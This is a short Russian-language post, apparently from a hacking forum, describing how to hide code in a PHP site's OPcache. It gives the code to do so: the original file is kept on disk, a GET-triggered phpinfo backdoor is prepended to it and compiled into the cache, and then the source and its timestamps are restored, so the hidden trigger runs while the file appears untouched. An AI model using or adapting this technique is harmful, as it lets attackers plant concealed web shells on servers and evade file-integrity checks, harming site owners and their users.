Делаем так что бы исходник остался оригинальным, но при этом в исполнение конкретного файла добавился дополнительный функционал. Выкидываем из кэша файл Code: opcache_invalidate($file, true); Сохраняем время Code: $mtime = filemtime($file); $atime = fileatime($file); Меняем контент Code: $old_contents = file_get_contents($file); $new_contents = '<?php if(@strval($_GET["phpinfo"]) == "1") { phpinfo(); die; } ?>'.$old_contents; file_put_contents($file, $new_contents); touch($file, $mtime, $atime); Загружаем в кэш Code: opcache_compile_file($file); Востанавливаем контент Code: file_put_contents($file, $old_contents); touch($file, $mtime, $atime);